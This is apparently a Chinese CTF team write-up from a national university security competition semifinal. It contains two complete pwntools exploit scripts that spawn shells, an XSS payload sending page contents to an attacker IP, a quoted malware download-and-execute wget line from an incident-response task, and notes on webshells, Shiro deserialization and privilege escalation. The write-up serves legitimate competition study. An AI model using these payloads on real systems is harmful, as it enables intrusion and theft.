AWDP
prompt(Pwn-fix)
第一次正常修了free没有过patch,第二次改了一下malloc大小,好像改的太多了直接服务异常了
第三次把jz改为jnz就过patch了(感觉他没有check程序是否可以正常运行,听别的师傅说直接nop函数也能过)
typo(Pwn-fix)
edit这里格式化字符串有洞,直接修改为常规格式化字符串即可
patch前:
.text:0000000000001662 lea rsi, maxlen ; "%lu"
.text:0000000000001669 mov eax, [rbp+var_11C]
.text:000000000000166F cdqe
.text:0000000000001671 lea rdx, ds:0[rax*8]
.text:0000000000001679 lea rax, unk_4060
.text:0000000000001680 mov rax, [rdx+rax]
.text:0000000000001684 lea rdx, [rbp+s] ; format
.text:000000000000168B mov ecx, 8
.text:0000000000001690 mov rdi, rax ; s
.text:0000000000001693 mov eax, 0
.text:0000000000001698 call _snprintf
patch后:
.text:0000000000001662 lea rsi, maxlen ; "%lu"
.text:0000000000001669 mov eax, [rbp+var_11C]
.text:000000000000166F cdqe
.text:0000000000001671 lea rdx, ds:0[rax*8]
.text:0000000000001679 lea rax, unk_4060
.text:0000000000001680 mov rax, [rdx+rax]
.text:0000000000001684 lea rdx, maxlen ; format
.text:0000000000001684 ; Keypatch modified this from:
.text:0000000000001684 ; lea rdx, [rbp+s]
.text:000000000000168B mov ecx, 8
.text:0000000000001690 mov rdi, rax ; s
.text:0000000000001693 mov eax, 0
.text:0000000000001698 call _snprintf
typo(赛后break)
渗透最后还有半个小时没事情干了,把上午typo的break打通了
ida编译没有show,想到了stdout泄露libc,并且存在堆溢出,打__free_hook为system
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
from struct import pack
from LibcSearcher import LibcSearcher
context.log_level='debug'
context(os='linux', arch='amd64')
p = process('./pwn')
elf = ELF('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
s = lambda data :p.send(data)
ss = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(p)
pause()
def choice(idx):
p.sendlineafter(">>",str(idx))
def add(idx,size):
choice(1)
p.sendlineafter("Index:",str(idx))
p.sendlineafter("Size:",str(size))
def free(idx):
choice(2)
p.sendlineafter("Index:",str(idx))
def edit(idx,payload1,payload2):
choice(3)
p.sendlineafter("Index:",str(idx))
p.sendafter("content:",payload1)
p.sendafter("say:",payload2)
add(0,0x10)
for i in range(1,8):
add(i,0x80)
add(8,0x80)
add(9,0x10)
add(16,0x10)
add(19,0x1f0)
add(18,0x1f0)
add(17,0x1f0)
for i in range(1,8):
free(i)
for i in range(1,8):
add(i,0x80)
edit(7,b'a'*0x88+p64(0x431),'a')
free(3)
free(4)
free(6)
add(10,0x110)
edit(10,b'aaaaaaaa',b'a'*0x80+p64(0x91)+p64(0x1010))
edit(5,'aaaaaa',b'a'*0x80+p64(0x91)+p16(0x26a0-0x10))
add(3,0x80)
add(4,0x80)
edit(4,b'aa',b'a'*0x8+p64(0xfbad1800)+b'x00'*(0x11+8))
libc_base=u64(p.recvuntil(b'x7f')[-6:]+b'��')-0x1ec980
print('libc_base: '+hex(libc_base))
edit(2,b'a'*0x90+p64(0x1234),'e')
free(3)
free(8)
edit(1,b'aaa',b'a'*0x80+p64(0x91)+p64(libc_base+libc.sym['__free_hook']-0x10))
add(11,0x80)
add(12,0x80)
sys = libc_base+libc.sym['system']
pay = b'a'*0x8+p64(sys)
edit(12,'aa',pay)
edit(1,b'aaa',b'a'*0x80+p64(0x91)+b'/bin/sh�')
free(11)
p.interactive()
time-capsule(Web-fix)
谁家好人冷部署啊 还不提醒
fix
过滤掉HikariCP
FieldGetterHandler
SignedObject
类即可。
ISW
应急响应
题目1:
题目1:找出主机上木马回连的主控端服务器IP地址[不定时(3~5分钟)周期性],并以flag{MD5}形式提交,其中MD5加密目标的原始字符串格式IP:port。
用火眼分析
发现这个1.txt非常的可疑,他下载了一个system_upgrade文件
我们可以去尝试这全局搜一下这个文件
发现这个
system_upgrade.ko
一个可执行文件,我们逆向一下
看主逻辑
发现ip和端口:
192.168.57.203:4948
题目2
题目2:找出主机上驻留的远控木马文件本体,计算该文件的MD5, 结果提交形式: flag{md5}
就是这个
system_upgrade.ko
md5一下
题目4
题目4:查找题目3中持久化程序(下载者)的植入痕迹,计算持久化程序植入时的原始名称MD5(仅计算文件名称字符串MD5),并提交对应flag{MD5}。
从那个1.txt里面
wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade
原始程序就
.system_upgrade
md5一下就是flag
渗透
CCB2025
feedback.html 可以xss 泄露cookie
<img src=1 onerror=window.open("http://192.168.119.250:2333/"+document.all)>
然后可以访问后台dashboard.php
feedback.html可以通过.htaccess 解析写马
进去是www-data权限 以为可以polkit提权 但是尝试许久没有成功 最后 翻看crontab的时候 发现 其中存在如下代码
17 * * * * root cd / && run-parts --report /etc/cron.hourly
就是在每个小时17分钟时 可以提权 但是发现的时候已经是四点半了 😅😅😅😅😅😅
先知上应该有相应的情形案例 大抵是一样的
不提权好像挂不上代理,没有摸到内网
数据管理系统
8080端口存在接口泄露
可以下载源码
源码泄露shirokey
shiro反序列化
base64提权 即可
扫内网搭代理 发现掉进thinkphp窝了
漏扫一扫发现有thinkphp5.0.23 尝试利用 发现存在waf system用不了会重定向到rasp,但是file_get_contents放出来了,赛后复盘 感觉使用file_get_contents打文件读取rce应该可以绕过其中的waf
附个pwn附件exp,拿完shell队友说打出来了,发现是同一个入口:
发现有一个栈溢出可以拿shell,打libc即可,libcsearcher没找到对应libc,用了本地2.31的libc打的
#coding=utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import*
context.log_level='debug'
context.arch='amd64'
#p=remote('172.19.119.30',65533)
p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
s = lambda data :p.send(data)
ss = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(p)
pause()
p.recv()
puts_plt = elf.plt['puts']
leak('puts_plt',puts_plt)
puts_got = elf.got['puts']
leak('puts_got',puts_got)
ret = 0x000000000040101a
rdi = 0x0000401181
pl1 = b'a'*0x138+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(0x0040118C)
p.sendline(pl1)
libc_base = u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))-libc.sym['puts']
leak('libc_base',libc_base)
#libcc = LibcSearcher("puts",puts)
sys = libc_base + libc.symbols['system']
binsh= 0x000402004
pl2 = b'a'*0x138+p64(ret)+p64(rdi)+p64(binsh)+p64(sys)
p.sendline(pl2)
itr()
WebGit:
扫目录发现存在git泄露,直接通过git回滚,能够拿到flag1
扫描目录发现mail的后台登录地址,回显是sql语句,猜测是sql注入,还是个时间盲注,硬控了一个多小时,也os不到shell。后来刷新了一下思路,发现就是个万能密码登录,结果没有跳转,需要手动访问info.php进入后台……,从文件上传界面想找上传路径,发现admin的1.jpg的路径可以访问,里面藏了一个1.php的木马。
连上shell以后通过config.php连上数据库,拿到mail服务器的ryan用户密码,赛后反应过来开了pop3服务器的端口,flag2应该在那里面。从gitlab用户下面找到了flag4,flag5应该需要提权,su到ryan用户下面发现有一个del.py文件可以编辑,又是赛后,有师傅说可以通过修改guid来进行提权,可以拿flag3和5。
总结:
🍬了好几下,希望决赛不🍬了。
原文始发于微信公众号(山警网络空间安全实验室):第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论